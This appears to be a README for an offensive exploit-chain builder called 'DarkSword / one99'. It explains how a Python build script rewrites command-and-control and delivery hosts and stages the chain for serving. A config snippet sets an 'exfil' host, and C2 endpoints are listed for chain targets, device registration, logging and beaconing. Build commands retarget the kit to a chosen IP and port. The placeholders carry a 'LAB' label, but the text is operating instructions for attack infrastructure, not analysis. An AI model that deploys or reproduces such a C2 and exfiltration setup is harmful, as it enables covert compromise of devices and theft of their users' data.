channel-builder-ds
DarkSword / one99 static builder. source/ is the pristine tree (live hosts).
tools/build.py rewrites C2 / delivery origins and copies the result to
public/next-chain. Runtime splits two bases:
__LAB_DELIVERY_HOST__— static assets; may include a path (https://cdn.example.com/next-chain)__LAB_EXFIL__— C2 / API (/api/ds/chain-targets,/api/ds/device/register,/api/ds/log, beacon/war)
If the page is served under /next-chain/, delivery host is inferred automatically.
Override in source/config.js:
deliveryHost: "https://cdn.example.com/next-chain", // full base, or
deliveryPath: "/next-chain", // location.origin + path
exfil: { host: "api.example.com", http_port: 443, https_port: 443, tls: true },
cd channel-builder-ds
python3 tools/build.py
python3 tools/build.py --host 192.168.31.130 --port 8000
python3 tools/build.py --origin http://192.168.31.130:8000
Writes ../public/next-chain/ (atomic replace). source/ is never mutated.